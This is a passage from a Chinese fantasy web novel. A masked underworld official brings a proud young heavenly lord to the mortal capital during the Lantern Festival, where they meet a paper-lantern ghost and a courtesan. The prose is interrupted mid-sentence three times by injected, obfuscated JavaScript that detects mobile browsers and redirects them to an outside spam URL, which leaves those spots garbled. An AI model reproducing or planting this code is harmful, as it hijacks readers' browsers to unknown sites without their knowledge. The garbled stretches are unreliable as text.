“你看看宋常卿干的好事!一进来就拿鞭子抵着我脖子问罪就算了,临走前威胁我就算了,他还抽我桌子!东西全撒了!” 谢长渡愣了愣:“刚刚出去的是小天君?” 他眉梢有些诧异的抬了下: “没打你,那看来脾气也没有坏到哪去。” 宿禾瞪着眼睛一脸不忿:“你什么意思,拿我当试探那位小天君脾气的实验品?” 谢长渡挥挥手,地上那些散落的文书便都自己飘起来飞回原处,他提着茶壶给自己倒茶,闻言手上动作一顿: “实验品?” 宿禾摆摆手:“算了算了,解释了你也听不懂,我就问你,宋常卿被气回文昌殿了,你又要怎么干?” 谢长渡已经习惯了自己这位副手口中时不时蹦出几个自己听不懂的词,没有过多询问,只是刚拿起茶杯,手上又是一顿: “你把他气回去了?” 脑中又浮现出在门口碰见时,宋常卿瞳孔中尚未散去的红色,顿时了然。 宿禾扯了扯嘴角:“我寻思我也没说什么过分的话啊,他莫名其妙就威胁着说要吃我,临走前还把桌子给抽翻了!” 他心疼地抚着桌面上的凹陷:“这可是我花了大价钱才从太白星君那儿弄来的!” 谢长渡眉心一跳,直觉有哪里不对: “你都同他说了些什么?” 4. 下凡尘 宿禾一番添油加醋,把事情的来龙去脉都给说了个清楚,最后还不忘骂宋常卿: “他这个性子绝对不能进渡厄司!动不动就抽鞭子动手,几个渡厄司都不够他拆的!” 谢长渡只觉得脑仁疼: “我是让你同他讲清楚进渡厄司要面对何等风险,没让你去气人。” “何况,任谁被你在门外晾了半个多时辰,都要动手抽你一顿。” 宿禾有些心虚的摸了摸鼻尖,道: “我没想晾他那么久的……这不是看话本看入迷了吗?” “你知道玉帝为何要将宋常卿点来渡厄司吗?”谢长渡无奈撇他一眼。 “……不是吃饱了撑的,想让我们帮他带孩子?” “我也是方才知道的。” 谢长渡道:“约两月前,玉帝观天象,发现小天君命星移位,命格出现转机,卦象指向天庭东南角,也就是渡厄司的位置。” 宿禾倒吸一口气:“所以他现在是非入渡厄司不可了?” “是。” 谢长渡毫不犹豫的应道。 “但渡厄司太过凶险,以他的性子……” 清澈的茶汤在杯中荡漾着,杯底倒映出谢长渡的模样,头束银冠,一袭黑袍连脖子都挡得严严实实,脸上一副雕花沉银面具遮住了大半张脸,只有一张薄唇和线条锋利的下巴暴露在外,面具边角隐隐带着红色,如同渡厄司石牢地面上曾经染过的血: “也罢。” 他忍不住扶额叹气: 玉帝将宋常卿调来渡厄司的举动太过仓促,宋常卿等人又来得太快,他还碰巧去了凡间降服恶鬼。 三面都按着自己的想法来做事,结果闹出这么大个乌龙来。 宿禾牙疼的看着谢长渡: “这疯子进了渡厄司,真不会把这儿搅个天翻地覆?” 谢长渡将茶杯放下,微微皱眉:“不要以疯子去称呼他人。” 宿禾“啧”一声,把装蜜饯的碟子变出来在里头挑挑拣拣,扔了颗盐渍梅子到嘴里,问道: “既然渡厄司他非进不可,你打算把他安排到哪儿去?” 谢长渡道: “渡厄司与文昌殿不同,他实力不算出挑,性子再那般任性,若是对上了难缠的恶鬼,把命丢了也不是没可能的。” 这就是把武职给否了。 宿禾嚼着梅子肉,被酸得忍不住皱眉。忙端起茶杯猛灌了一口,道: “那就随便给个文职,然后看他自己表现呗,做出了成绩就升升职,没做出成绩就在那放着,也不怕他闹什么幺蛾子。” 谢长渡手指缓缓敲着桌子,半晌才道: “宋常卿身为天君,让他和普通文仙一同共事,恐怕也不妥。” 听到他这话,宿禾忍不住一巴掌拍在自己额头上: “那就让他做你的案旁侍书,这样既合礼数,又能把人放眼皮子底下护着,总没问题了吧?” “宋常卿是你什么人啊这般为他掏心掏肺的着想?” 谢长渡皱眉:“我只是听从玉帝的吩咐。” 宿禾不依不饶: “你一个连玉帝敕令都不放眼里的人,会在乎几句口头上的话?” “你别是方才在外头和小天君碰上,一见钟情了吧?” “出去。” “喂喂,搞清楚这是我的书房,要出去也该是你出去!” *** 小天君服软屈身下就渡厄司却吃了闭门羹,还和渡厄司那位总管打了一架的事情在天庭不胫而走。 传着传着,不知怎么就成了小天君性子太过恶劣,以至于渡厄司公然违抗玉帝命令,死活不肯让他进来。 宋常卿每走到一处地方,都能看到有人凑在一块儿窃窃私语,一见他就立马噤声。 习惯了被议论的小天君不置可否,在外头逛悠得更欢了,有时还凑上去和那些人搭话,顺带着骂两句宿禾,丝毫没注意到他们脸上僵硬的神情。 如此过了半个月,天庭里说小天君闲话的人彻底销声匿迹,宋常卿趴在床上一边摆弄着玉牌一边叹气: “无聊死了……” 他的名牌如今已经不在文昌殿,因而各殿的文书现在都不会递到他手上,渡厄司又迟迟没有半分回应,这便导致了不归任何一方管束的宋常卿闲到冒烟。 原本在外头摘李子的茯苓听到宋常卿的抱怨,从窗子那儿探出个头来: “天君天君,我有个好主意!” 文昌帝君把茯苓和麦冬允给宋常卿做随侍的时候,顺带着把她们两人的身份名牌也给了他,后面宋常卿回了文昌殿,名牌却没被文昌帝君要回去。 她和麦冬也就顺理成章成了宋常卿的随侍,平日里事情不多,也就摘摘果子泡泡茶,偶尔给宋常卿捶捶腿揉揉肩,比先前做文昌殿仙侍时不知道轻松了多少。 茯苓是个胆子肥的,半个月下来发现宋常卿与其说凶神恶煞,倒不如说是被惯坏的孩子心性,喜欢吓唬人,但没有什么实际的动作,渐渐便也不怕了,偶尔还能乐呵呵的同宋常卿开开玩笑。 宋常卿眼眸微亮,朝外头招了招手,茯苓便用裙摆兜着李子,从窗户翻进来,凑到榻边蹲下身子: “天君您尝尝,刚摘的李子,我在院子里吃了两个,可甜了。” 宋常卿从里头挑了个又大又饱满的,用衣袖随意擦了两下便送入口中“咔嚓咔嚓”啃起来,含糊地问道: “你那‘好主意’是什么,说来听听。” 茯苓用袖子半掩着唇,凑到宋常卿耳边神神秘秘的说道: “我们可以去人间啊。” “上次在渡厄司,您问话的那个文仙不是说世事太平吗?想必好玩得很呢!” 宋常卿回忆了一下,貌似还真是如此。 他也有近两百年没去人间了,上次去的时候正当战乱,满目疮痍,他在满是尸骨和残木的旷野上站了半日,便又回了天庭。 之后就再也未下界看过,只听各路神仙们闲聊时说,人间一直处于战乱之中,近几十年来才太平些,不过也仅指江南地区。 趁着最近无事可做,去人间看一看,倒也不错。 不过…… 宋常卿刚提起点兴致,又叹了口气: “现在下界要打报告的啊……” 也不知道是哪个出的馊主意,自百年前开始,任何神仙想要下界都要同上级知会一声,这一流程在天庭条例里被称作“打报告”。 这一条例有何作用暂且不谈,但天庭众仙听到的第一反应毫无例外都是想打人。 以宋常卿的身份,报告指定是打到玉帝那儿去的,但玉帝会让宋常卿下界吗? 这个说不准,他们现在还吵着架呢。 茯苓迟疑道:“那要不……我们偷偷溜下去?” 宋常卿被她傻傻的模样逗得轻笑出声,心底那点烦躁霎时烟消云散,抬手点了点她的额头,把小姑娘点得直往后仰:“怎么,不怕挨罚?” 茯苓看着宋常卿脸上的笑意,有些愣愣的答道: “天君,您还是这样笑起来好看。” 宋常卿收了笑,道:“我平时笑起来难道不好看?” 茯苓摇摇头,又连忙点头,壮着胆子答道: “不一样的,您之前笑起来也好看,但是只有脸在笑,眼睛一点变化也没有,看起来有点……” 她翻了翻脑子里为数不多的词,总算找到个恰当的:“渗人!对!就是这样,一对上您的眼睛,我就感觉自己鸡皮疙瘩都起来了。” 宋常卿阴阴地看着她,嘴角缓缓勾起: “我笑起来……很渗人?” 茯苓起了一身鸡皮疙瘩,连忙摇头:“没没没有!” “上次走得太快,都忘记押你去找谢长渡认罪了。” “天君我错了!!!” …… “那些乱传闲话的人都记在名单上头了。” 环境雅致的书房内,宿禾伸手打了个响指,一张写得密密麻麻的纸便出现在谢长渡面前的桌上: “你巴巴的让我派人去查这些就算了,还警告他们做什么,难不成陛下还能信了那些人传的闲话,降罪于我?” 谢长渡笔尖顿了顿,扫两眼便挥手将那薄薄的纸送回宿禾面前: “这种小事不必与我知会,直接送去善罚司便是。” 宿禾将纸折了两折塞进袖子里,讶异道:“你这是要追究到底?” 谢长渡淡淡的回了个嗯。 “会不会太得罪人了啊,”宿禾眼睛亮亮的,微微有些期待,口中说出的话却和这幅神情完全不搭边:“玉帝陛下未必罚我,但这张纸送到善罚司,上头记着的人可铁定要挨罚了。” “你要为我出头,完全不必做到如此地步的。” 谢长渡扫了明晃晃在幸灾乐祸的人一眼:“你想多了。” 不等宿禾追问他这句是什么意思,谢长渡又道: “近来凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176437|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间有什么大案?” “这话你都问半个月了,烦不烦……”宿禾一说到正事就浑身提不起劲。 谢长渡继续提笔批桌上的文书,没有理会他的抱怨。 宿禾后退两步窝进躺椅里,整整身上的大氅,翘着脚一晃一晃:“大案没有,但近来凡间都城出了个厉鬼,手上已经沾上几条人命了,先前派下去的几个小武仙现在都还没有讯息传来,估摸着有点棘手。” 谢长渡在纸上批下最后几个字,缓缓放下笔:“传讯让他们继续查探着,注意保护百姓,我亲自走一趟。” “噢,行。” 宿禾点头应是,摸出玉牌来往凡界传讯,还不忘打趣:“区区厉鬼竟能劳动掌司大人大驾,也算是死而无憾了~” 抬头就见谢长渡已经起身朝外走:“你现在就去?” “不是,”谢长渡解释道,“去趟文昌殿,此次下凡,我打算同小天君一道。” “带他去做什么。” 宿禾撇了撇嘴,他近来因为宋常卿那一鞭子,可没少被人议论:“就算只是个厉鬼,带他下去不也是纯纯添乱?” 原本已经半步踏出房门的谢长渡又折返回来:“名单拿来。” 宿禾疑惑的从袖子里将那张记满人名的纸掏出来递出去:“不是说要送去善罚司吗,这是反悔了不想得罪人?” 谢长渡将名单悬在半空中展开,指尖聚起仙力在上面写了几个字:“漏了个人。” 谢长渡写完便又转身朝外走,宿禾不信邪的将那张仍浮在半空中的名单扯下来: “怎么可能会漏人,这名单我可是亲自看过一遍,绝不会有半分差池……谢长渡!” 原本白纸黑字的名单上,突兀的多了六个金光闪闪的大字,占满了整页纸: 宿禾,出言不逊。 “合着你让人做这名单根本不是为了给我出头,只是不乐意有人说宋常卿的坏话是吧?!” …… 文昌殿主殿,一红一黑两道身影在主座两旁的下手相对而坐,中间隔了老远。 宋常卿满脸不善的看着坐在对面慢悠悠喝茶的人: “掌司大人来文昌殿有何贵干?若不是来道歉的,那我们也没什么好聊。” 谢长渡放下茶杯,平静道: “先前在渡厄司内的事情,宿禾所作所为都是听我吩咐,对小天君有所冒犯,抱歉。” 宋常卿冷笑:“这可不足以解释你们为何将我晾在门外足足半个时辰。” 谢长渡沉默不语。 宋常卿本以为这场谈话可以就此结束,谢长渡却颇具耐心的解释道: “渡厄司这般地方,是非颇多,以小天君的性子,并不适合同那些厉鬼妖魔打交道,我才让人那么做,回头玉帝问责起来,也不会波及到你。” “那我要不要感恩戴德,全天庭宣扬渡厄司掌司慈悲为怀,哪怕违抗玉帝之令也要助我远离龙潭虎穴啊?”宋常卿凉凉的说。 谢长渡抿了抿唇,沉默一会儿才接话:“小天君,渡厄司的差事没那么好做,是随时都可能丢命的,你……” “留在文昌殿享福不好吗?”宋常卿打断了他没说出口的话,笑吟吟道:“你是不是想这么说?” 谢长渡道:“我没有那个意思。” “不管你有没有那个意思,我也把话挑明了,原本我确实是不愿去你那的,奈何我现在改主意了。” 宋常卿冲谢长渡挑衅的挑眉:“你这渡厄司,我去定了。” 现如今的情况,已经和宋常卿最初同意入渡厄司的原因差了十万八千里。 宋常卿本想着到渡厄司随意应付两个月,回头寻个由头再回文昌殿来,但宿禾与谢长渡两个人两番话,却都不约而同的说什么以他的性子不适合在渡厄司任职。 这番话每被提起一次,宋常卿便好似又听到了那句“心性不足,难堪大任”。 狗屁。 他们越是这么说,宋常卿越是要去渡厄司,做出一番成绩来。 谢长渡却道:“我此番前来,是请小天君入渡厄司的。” “劝我打消念头的话就不必说了……你说什么?”宋常卿无比意外。 谢长渡又重复一遍:“我想请小天君入渡厄司。” 宋常卿站起身走过去,两指点在他额角: “奇怪……也没走火入魔啊,你耳朵怎么红了?” 谢长渡深吸一口气:“在此之前,我想请小天君随我去一趟凡间。” 5. 扎纸鬼 凡世的都城名唤汴京,因梁水穿城而过,故而又被唤作汴梁。 正值上元佳节,圆月挂上了枝头。 一盏盏明灯悬在坊市楼阁之间,最多的是寻常样式的四角灯笼,上头贴一张红纸写着灯谜,若有人猜对了,便能将其揭下,去换个花生糖块儿什么的,图个彩头,也不乏虎兔龙蛇等各式花样,这些就只是挂在上头让人观赏的了。 街上熙熙攘攘,一派热闹景象,街道两边的小贩正卖力吆喝: “灯笼!卖灯笼嘞!客官您要个什么样式儿的?” “糖葫芦!糖葫芦——” 一红一黑两个身影便戴着帷帽,穿行于人潮中。 哪怕周围乌泱泱的都是人,这两人依旧显眼得很,个子高挑,身形颀长,虽看不到脸,但光凭通身的气度也能看出容貌定然差不到哪去。 不少女子直接看直了眼,连灯谜都顾不上猜了,恨不得把眼珠子黏到他们身上去。 大抵是周围太过拥挤,站不住脚,一个穿着绿色襦裙的女子脚下一个不稳,正巧朝那红衣公子身上倒去。 宋常卿原本正喋喋不休的同谢长渡抱怨着自南天门下凡何等繁琐何等拖沓,这次没找准位置跳错了地儿又害他多跑了多远路,眼前一个绿色的影子突然倒过来,未等他有何动作,一个黑色的影子便挡住了视线。 有人比他更快一步。 绿衣女子感觉一双微凉的手按在肩后,扶住了自己。 她抬头一看,入目便是玄青色的衣料,上面带着暗银色的纹路,再往上恰巧将谢长渡被帷帽掩住的真容尽收眼底。 苍白得有些过分的肤色,高挺的鼻梁,颜色浅淡的薄唇,以及…… 那副盖住大半张脸的银质面具。 绿衣女子顿时一怔: 哪有戴着个面具,外头还要再罩层帷帽的? 见她愣愣的在那要倒不倒,谢长渡干脆使力把她扶正,扔下一句“姑娘当下脚下”便要转身离去。 “等……等一下!公子!” 绿衣女子总算缓过神来,拽住谢长渡的袖子: “小女子婉夕,多谢公子相助,我……我……” 她翻了翻身上,大概是没找着什么物件,便解下了贴身带着的荷包:“我身上没几样值钱的东西,这个荷包送您,聊表心意!” 上元佳节,这般送礼无异于示爱。 宋常卿站在后头两手抱胸,闻言挑挑眉,目光在谢长渡身上扫视两圈。 连脸都看不到,这就动心了?如今的女子别的不提,眼光倒是越来越差了。 眼见着谢长渡抬起手来要接那荷包,宋常卿突然出声道: “谢公子,咱们约好的同去春风楼,你还走不走了?” 说完,看着绿衣女子微僵的神色,他满意的勾起了唇角。 春风楼这名字,一听便知道多半是那烟花之地。 婉夕捧着荷包的手一僵,随后就见谢长渡将她的手推回来: “举手之劳,不必挂齿,这荷包还是姑娘自己留着吧。” “还有一事,请问姑娘手上这莲灯是从哪买的?” 谢长渡一言一行都做足了礼节,婉夕呆愣愣地指了个方向,答道:“就在那边桥下,有个卖灯的老伯,手艺很好的,只是不爱和人说话,挑了灯不必问价,照着牌子付钱就行。” 谢长渡颔首道:“多谢。” 而后轻轻理了理袖子,抚平上面被婉夕攥出的褶皱,抬步朝着那边走去,宋常卿站在原地抬手捻了捻右耳上的坠子,没有动作,谢长渡走出几步又回头: “怎么不走?” 宋常卿翻了个白眼,懒洋洋的缀在后头跟上。 婉夕捧着未能送出去的荷包站在原地,呆呆的看着两人的身形再一次被人流淹没,直到再看不见一片衣角。 那位公子一言一行都极具教养,怎么也不像是会涉足烟花之地的人物,大概是她想错了吧。 婉夕自诩容貌姣好,这还是头一回主动向男子示爱,对方却没有一丝反应的。 正想着,肩膀突然被拍了一下,是个长相猥琐的中年男人,两颊泛着不正常的红,显然喝多了酒: “美人儿,怎么独自在这神伤啊?让哥哥来安抚安抚你……” 说着就要上手,婉夕提膝便是一脚: “灌了两斤马尿就不知天高地厚了是吧,就凭你也敢肖想姑奶奶我?动手打你我都嫌脏!” *** 宋常卿跟着谢长渡在人流中左拐右拐,到了桥下,果然有个老伯坐在那儿,边上堆着一大片扎好的灯笼,老伯正握着笔,在手中的八角灯笼上勾画什么。 有人提着灯笼朝他问价,却像是完全听不到一般,只是自顾自的提笔画着。 旁边立着个木牌子,上头写着价钱。 宋常卿见谢长渡竟真蹲下身在那一堆灯笼里挑选着,忍不住开口嘲道: “谢公子这是做什么,是准备买个灯笼去送给那位婉夕姑娘吗,也是,毕竟方才那位姑娘都向你示爱了,不表示表示怎么能行呢?” 正说着,见谢长渡提起了个莲花灯笼,语气不免更凉了些: “哟呵,这是打算和婉夕姑娘手上那个凑上一对儿?” 谢长渡与别人有何交集都同自己扯不上什么关系,但宋常卿如今看谢长渡哪哪儿都不顺眼,就是想讽刺两句。 谁知谢长渡提着灯笼,从袖子里摸出块碎银子放在老伯身旁,便起身将那做工精细的莲灯递到了他面前: “给你的。” 宋常卿皱眉道:“谁要这玩意儿。” 竹篾都还带着毛边儿,纸上的颜料也没涂匀。 又糙又丑。 谢长渡点燃里面的蜡,又把灯笼递过去,道:“方才在街上看你一直瞧着别人手上的灯笼,应当是喜欢的。” 宋常卿勉为其难的接过来:“算你识相。” 灯笼拿到手里没什么重量,无非就是一根竹竿上系着条细线,下面连着做成莲花状的灯笼,下面再挂条红穗子,一截短蜡在里面燃着,将纸面染了层金黄,看着倒比没点起来的时候顺眼不少。 看久了,宋常卿竟还觉得这玩意儿做得不错。 礼尚往来,宋常卿也去拿了个八角的宫灯来,塞进谢长渡手里:“拿着,回头别说我占你便宜。” 谢长渡唇角忍不住往上翘了翘:“不占你便宜。” 两人提着灯笼转身欲走,老伯却突然出声道: “孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176438|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰寡宿,亡神天绝;煞极生变,许可绝处逢生。” [孤辰寡宿],指命局中缺乏正星扶持,孤辰、寡宿两颗煞星入命,此命格之人往往孤苦伶仃,难觅知己,亲友缘薄。 [亡神]指亡神煞,此命格之人往往福薄缘浅,易早夭,生而坎坷,难以善终,可以说是命格当中最凶的一种。 [天绝]指命犯天绝,一生孤苦,难得安稳。 这三种都是命格之中凶之又凶的存在,任谁听到这么一番话,心情都不会好,反倒会觉得这老头儿得了癔症,仗着一张嘴胡乱说话。 宋常卿心头一动,转头看去,老伯却依旧提笔在灯上勾画着,仿佛刚才那句话与他毫无关系。 走在路上,宋常卿还在想着老伯突然张口说的那句话: “他一个扎纸鬼,是怎么看清我命格的?” 两人修为都不低,自然是一靠近就看出了那老伯的真身,一只执念未了的普通扎纸鬼罢了,正是如此,宋常卿才意外他能看到自己的命格。 谢长渡道:“他生前许是有大功德在身,故而死后能看到些不寻常的东西。” 功德之事,玄之又玄,哪怕谢长渡司掌天下万物轮回,手握功德簿,也只能窥见一点皮毛。 这是他们累世积善而得来的机缘,只要不用来做什么恶事,天庭往往都是放任自流的。 宋常卿点点头,他的命格当初是玉帝和太白轮番推演了几遍,才算出来的。 [天命凶煞,孤辰寡宿,然命格有缺,或有一线转机] 那扎纸鬼说的也不差多少了,除了“亡神天绝”以外,竟几乎毫无出入,还说得更细些。 不过他是神仙,那老伯不过是个普通鬼物,看得有所差错也不意外。 要真一字不差,那太白金星就可以退位让贤了。 宋常卿不再纠结于此,便又想起另一件事: “喂,你还没说把我拉凡间来是要做什么呢?” “说是有东西让我看,看什么?看这满大街的花灯?” 谢长渡轻声道:“还不是时候。” “到了地方再说。” 语毕,掂掂手里的灯笼,加快了脚步走到前面去给宋常卿引路。 也就是戴着帷帽,宋常卿才看不到谢长渡自宫灯入手时,便已成了赤色的耳尖。 宋常卿慢悠悠的跟在后头,距离远了就喊一声,谢长渡便慢下脚步等他跟上,结果没过多久宋常卿又落在了后面。 如此往复几次,谢长渡突然转回身来,走到宋常卿身前,伸出一只手。 宋常卿疑惑的扫他一眼:“干什么?” 谢长渡的手依旧伸着: “人流拥挤,容易走失,我带你走。” 一阵风突然吹来,掀起帽上的纱,宋常卿猝不及防的和谢长渡对视上。 浅灰色的眸子倒映着灯火和他的影子,认真而淡然,像是一滴水落入池塘,掀起一阵阵几不可见的波澜。 宋常卿莫名感觉这样的眼神自己似乎在很久很久之前见过,但记忆太过久远,只能找到一丝模糊的影子。 不知怎么就抬手搭了上去。 本想开口怼两嘴的小天君就这么稀里糊涂的让谢长渡牵到了目的地。 6. 清风楼 等宋常卿终于回过神来,把谢长渡的手甩开,两人已经站在一栋极尽奢华的酒楼前。 门楼两侧红绸高挂,大红灯笼老远便能看见,整栋楼足有三层,飞檐翘角,琉璃瓦映着街上的灯火,将旁侧的建筑映衬得黯然失色。 二楼同一楼之间嵌着块鎏金牌匾,上书“清风楼”三字。 谢长渡被他甩开了手也不恼,抬步踏入其中,立马便有小二迎了上来: “二位客官里面请,您是要大堂,二楼雅座还是三楼雅间?” 谢长渡扫了宋常卿一眼,见他正饶有兴致地看着二楼戏台上蒙面弹着琵琶的女子,淡声道:“三楼雅间,上壶茶。” 眼前两人光看衣着便知非富即贵,还以帷帽遮着面目,显然不是一般人,小二丝毫不敢怠慢,忙拦住个跑堂的,吩咐道: “让厨房沏壶上好的毛尖来,送去三楼天字二号房,务必要快。” 然后向宋常卿和谢长渡做了个“请”的手势: “二位客官请随小的来。” 小二引着二人上了三楼,推开雅间的门:“客官来得正巧,这是本店最后一个雅间了,再晚些,怕是连二楼雅座也没了。” 宋常卿摘下帷帽环视一圈,伸手掐灭了手中莲灯里的蜡,顺手摆弄了一下灯笼穗子,道: “你们生意这么好?” “那是!” 东家生意好,小二也与有荣焉:“不是小的吹牛,这整个汴京城,再找不出比我们清风楼生意更好的酒楼了,就连我们这儿的清倌人,也是声名远扬的,不知多少达官贵人一掷千金,就为了博姑娘们一笑呢。” 见宋常卿似乎有些感兴趣,小二又道: “客官您要是感兴趣,也可以点位姑娘唱上两曲,我们清风楼的姑娘铁定不会让您失望的。” 宋常卿饶有兴致的问道: “你们这的姑娘都会些什么?” 小二笑道:“这就看客官您的口味了,例如红袖姑娘善歌舞,弦音姑娘善筝,轻婉姑娘善琵琶……” 眼见着再说下去,宋常卿就真要点个姑娘上来唱曲儿了,谢长渡出言打断道:“不必了。” 宋常卿横他一眼:“我就听个曲儿,又碍着你什么了?” 说完转头看向小二: “别管他,直接把你们这的头牌喊来!” 小二犹疑道:“客官……我们这儿的头牌,怕是请不来,要不还是换个姑娘吧?” 宋常卿又哪是别人一劝便会改主意的人,更别说谢长渡还在一旁看着,当即便道: “只要把人叫来,银子不是问题!” 小二叹了一声,道: “唉……客官您是头一回来清风楼吧?” 宋常卿眉梢挑了挑:“你怎么知道?” 小二道:“凡是来过清风楼的,都知道咱们的头牌月音姑娘脾气怪得很,没有客人点她的理,只有她挑客人的份,且每次只唱一曲,砸多少银子都不管用。” 谢长渡道:“既请不来,那就罢了吧。” 宋常卿见他又同自己对着干,倔性子也上来了,故意挑衅道: “罢什么?都还没请呢怎么就知道请不来?你尽管去请,银子全算本公子头上!” 谢长渡拧眉:“我们来这儿有正事。” 宋常卿:“我就听个曲儿,能耽搁什么事?” 谢长渡看了眼旁边站着的小二,没张口说话。 宋常卿步步紧逼:“你说啊,我就是听个曲儿,耽搁你什么了?” “你上次把我晾在门外晾了半个多时辰的帐都还没算呢,要不咱们现在掰扯掰扯?” …… 最终还是宋常卿仗着嘴皮子利索,更胜一筹,小二出门时忍不住长叹一口气。 屋里那两位吵起嘴来着实可怕,尤其是那位黑衣客官周身的冷意,小二感觉他随时能把清风楼给拆了。 这么一个人竟会向那位极其貌美的红衣客人让步,小二一边摇头一边朝后院走。 突然脑中灵光一闪:若两人是那种关系的话……黑衣客官不愿红衣客人点姑娘上去的行为,也就不奇怪了。 小二重重一拍脑袋,懊恼自己刚刚怎么就没想到这一茬,这样还能帮着劝劝。 无论他现在如何后悔,现在还是要去找月音姑娘,传达那位红衣客人的意思。 *** 小二出了门好一会儿,屋里也没人再出声,似乎连空气都流得慢了几分。 谢长渡抬手将灯笼收进袖里乾坤,随后便掀起袍子坐在案旁,自顾自闭目养神。 宋常卿吵赢了嘴正是得意的时候,见状,故意在他耳边叽叽喳喳毫不安生: “谢公子~谢公子——” “吵输了就不理人,谢公子这是输不起吗?” “谢——长——渡——” 聒噪得谢长渡忍不住皱眉,但还是抿唇忍了下来。 宋常卿见他一言不发,也没再逞嘴上威风,动起手在谢长渡身上东戳戳西戳戳,见他双目依旧合着,只有睫毛颤了两下,转而又盯上了谢长渡的手。 手指白皙修长,骨节分明,宋常卿的手同他放在一起,愣是小了一圈。 宋常卿扯着谢长渡左手的食指把整只手都提起来,然后两手握住揉了两下,有些意外: “你的手怎么冷成这样?” 按理说都成神仙了,又怎会怕凡间的这点寒意。 先前在街上两人双手交握的时候宋常卿就发现了,谢长渡的手冷得出奇,上元节寒潮未退,宋常卿还能用外头冷来解释,可这会儿在点着三个炭炉的雅间里呆了许久,还是这般摸着都冻手,宋常卿就不明白了。 就算是块冰,现在都烤化了吧? 谢长渡耳尖早成了赤红色,竭力使自己的声音平稳些: “我生性体寒,习惯了。” 宋常卿有些怀疑他的说辞:“体寒也不是这么个体寒法吧?” 但谢长渡这么说了,宋常卿也就没再多问,继续把玩着谢长渡的手指。 手被这么抬着,袖子也就慢慢滑落下去,露出腕间的红绳。 宋常卿诧异的拨弄两下那颗白玉珠子:“你还会戴这种凡间女子喜欢的物件儿?” 在凡间,以红绳编成手链,上穿一白玉吊坠,寓意着平安吉祥,又瞧着好看,颇受姑娘们喜爱,能在谢长渡身上看到这个,宋常卿着实没想到。 又伸手拨弄了两下,宋常卿感觉红绳上穿着的这颗白玉珠子莫名有些熟悉: “谢长渡,你这珠子……是打哪儿来的?” 谢长渡睫毛颤了颤,总算有了反应: “多年以前,曾经有人救过我一命,这颗珠子……” 他哂笑一声:“应当算是我从他身上抢来的吧。” “哦。”消除了疑虑,宋常卿用手搭在桌上支着脑袋,懒洋洋的打了个呵欠: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176439|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你还没说,这次来凡间到底是干什么呢。” 周围没了人,谢长渡也不再隐瞒,道:“抓鬼。” 一听是这回事,宋常卿顿时提起了几分精神:“抓鬼?抓什么鬼?” 谢长渡刚要开口,忽而转头看向门口: “有人来了。” ——一炷香前。 “月音姑娘,您还是去看两眼吧,露个面也成,不然小的没法同那位公子交待啊。” 暗香浮动的厢房内,一身段窈窕的女子正对着镜子梳妆,黄铜色的镜面倒映出她的脸,称一句天姿国色也不为过。 小二正在一旁站着,讪笑着劝她。 轻柔的女声响起:“那位公子长相如何?” 小二忙道:“世间难寻!” 月音正往唇上抹着胭脂,闻言动作微微顿了顿:“当真?” 小二直接并起三指发誓: “绝无虚言!” “行吧。” 月音将胭脂盒放回妆奁中:“那便去看看。” —— “公子好耳力。” 侍女推开了雅间的门,一名蒙着面纱,身穿绯色罗裙的女子娉娉婷婷的走进来,盈盈下拜: “小女子月音,见过二位公子。” 原本打算赶人的宋常卿一听到这个名字便改了主意,挑衅地看谢长渡一眼: “小二说姑娘难请得很,宋某还以为今日无缘得见了。” 谢长渡淡声道:“相逢即是缘,姑娘坐吧。” 乐音轻笑一声,使了个眼色,一名侍女便捧着托盘上前为几人沏茶,她从另一个侍女手中接过琵琶,在对面坐下: “二位公子讲话颇对我胃口,今日算是小女子做东,请二位品这上好的西湖龙井了。” 宋常卿道:“姑娘向来都是这般行事吗?” 月音轻轻拨了两下弦,一边调着弦一边道: “二位公子不都听小二讲了么?我平日里可难请得很,若是我看不上眼,就算豪掷千金又如何?照样不见。” “二位合我眼缘,一壶茶罢了,有什么请不起的?” 宋常卿端起面前的茶杯,轻轻转了两下,闻言笑道: “那宋某倒是幸运,能得姑娘青睐。” 月音也不隐瞒:“听小二说公子容貌世间无双,小女子怎么也得来看上一眼不是?” 谢长渡在旁边坐着一言不发,被忽视得彻底,宋常卿和月音两人聊得越发投机: “那貌丑的岂不是连姑娘一个眼神都分不着?” 月音摇摇头,又道: “小女子接客不讲地位高低,不图金银财宝,只凭心中裁断,若是德行高尚,貌丑又何妨?” 宋常卿忍不住笑道: “你倒是活得体面。” 月音却依旧摇头:“公子认为,小女子的体面自何而来?” 不等宋常卿回答,她又道: “人的体面终究是靠自己挣来的,您看那宫中的娘娘们,活得体面不体面?可若有一日失了圣宠,体面又能顶什么用?” “只有靠着自个儿混出个名头来,才能称得上一句体面。” 